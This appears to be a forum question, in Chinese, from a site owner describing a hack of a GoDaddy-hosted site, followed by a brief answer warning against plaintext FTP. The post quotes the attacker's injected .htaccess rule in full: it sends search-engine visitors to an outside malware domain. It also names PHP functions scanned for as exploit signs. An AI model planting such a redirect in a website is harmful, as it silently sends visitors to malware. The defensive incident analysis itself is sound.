我的网站遭到了黑客攻击,目前我知道一些细节,但我不知道它是如何发生的,也不知道将来如何防止它再次发生。我需要你的帮助来分析这次攻击,这样我才能防止它再次发生。这篇文章有点长,但我想确保我提供了足够的信息来帮助解决问题。
事情是这样的。
几周前,我收到了托管公司 GoDaddy 发来的一封电子邮件,说我的网站占用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个包含 5-6 个词的搜索查询。按照我的设置,搜索的词越多,查询就越复杂。没问题。我解决了这个问题,但与此同时,GoDaddy 也暂时关闭了我的账户,大约 3 天后一切才恢复正常。
这次事件发生后,我的搜索引擎流量急剧下降,大约 90%。这很糟糕,但我没有多想,将其归咎于查询失败,并认为随着 Google 重新抓取网站,流量会及时恢复。但事实并非如此。
几天前,我收到一封用户发来的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该网站,但没有看到任何内容注入到页面中。然后我检查了我的 .htaccess 文件,发现了以下内容:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
很可爱,而且有点狡猾。我通常会从地址栏或书签直接导航到该网站,这样网站就会正常加载。我很少通过搜索引擎的链接访问我的网站,所以这就是黑客攻击一直未被发现的原因。恶意软件也没有直接托管在我的网站上。
快速搜索后发现其他人也遇到了同样的问题,不过我怀疑还有很多人只是还没有发现。大多数建议是升级到最新版本的软件、更改密码等。
由于我使用的是自己的自定义内容管理系统,而不是随处可见的 Wordpress,所以我进行了更深入的调查。我扫描了所有文件,查找 PHP 漏洞利用中使用的常见函数:base64_decode、exec、shell 等……没有发现任何可疑内容,也没有发现任何额外的文件。
接下来,我检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件被更改的日期与我的搜索查询被指控占用过多服务器资源的日期完全相同。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎并不占用大量资源,而查询足够复杂,可能会占用大量资源。
我想确保问题不在我的代码上,因此我检查了 .htaccess 文件被修改时流量日志中的可疑活动,但没有看到任何看起来异常或像是黑客攻击的 GET 或 POST 活动。
最后,我向 GoDaddy 请求了 FTP 日志,发现在 .htaccess 文件更改时存在未经授权的 FTP 访问。当时我正在度假,我的电脑物理关闭,没有其他人拥有访问凭证。看起来 FTP 登录的人使用了帐户的主要 FTP 用户,但 IP 为 91.220.0.19,这看起来像是来自拉脱维亚。
在共享主机上,GoDaddy 似乎会根据站点 URL 自动分配主 FTP 用户名。这是非常可预测的,至少在我设置主机帐户时是这样的。几年前我第一次注册了主机帐户,所以它可能已经改变了,但据我记得,我无法选择主 FTP 用户名。目前,您也无法更改用户名,听起来 GoDaddy 也无法更改用户名,除非您取消帐户并辞职。虽然您可以创建、删除和编辑其他 FTP 用户,但无法删除主 FTP 用户。只能更改密码。
除了主 FTP 用户名之外,网站、数据库、管理员和账户的所有访问凭据都是乱码,随机的用户名和密码,看起来就像你的猫在你的键盘上走过一样。例如:lkSADf32!$asJd3。
我已经彻底扫描了我的计算机,以防万一链接中的薄弱环节,但什么也没发现。我使用防火墙、防病毒程序,并尝试使用安全的浏览习惯。
当我更新我的网站时,我使用 Core FTP LE 和 SSH/SFTP 连接。托管帐户是 Linux 设置。
在与 GoDaddy 技术支持人员交谈时,他们不确定 FTP 密码是如何被泄露的。在共享主机上,他们无法在 FTP 用户级别设置 IP 块。他们也无法更改主 FTP 用户名。当我询问他们是否对 FTP 访问提供暴力破解保护时,技术人员一开始听起来不太确定,但在我重复了几次之后,他说他们有。但是,我记得在之前的通话中问过同样的问题,并听说 GoDaddy 对 FTP 访问没有暴力破解保护。目前,我不知道他们有没有。
我已经全面更改了我的所有访问凭证,并且使用 .htaccess 文件禁止了拉脱维亚的 IP 地址(如果他们使用 FTP,可能不会产生任何影响),但我仍然不确定 FTP 密码是如何被泄露的。
我相当肯定问题不在我的代码上(即使问题出在代码上,FTP 信息也不应该暴露)或我的电脑上。我怀疑 FTP 密码是被暴力破解的,因为用户名是可以预测的,但我不知道如何证明。暴力攻击也可能与服务器资源耗尽同时发生(我的查询导致),但我对服务器的技术方面了解不够,不知道这是否可能,甚至不太可能。
现在我感觉我已经不知道该做什么了。我希望能够了解攻击是如何进行的以及如何防止它,因此如果您对攻击媒介、可以运行的诊断程序或其他安全措施有任何进一步的想法,我将不胜感激。我非常愿意更换主机或放弃共享主机,但我想确保我可以防止这种情况再次发生。
救救我吧,欧比旺克诺比......
答案1
答案2
简单!不要使用 FTP。它以纯文本形式传输凭证,并以纯文本形式传输所有数据。这是传输文件最不安全的方式之一。如果您的主机不支持任何其他方式,请寻找新主机。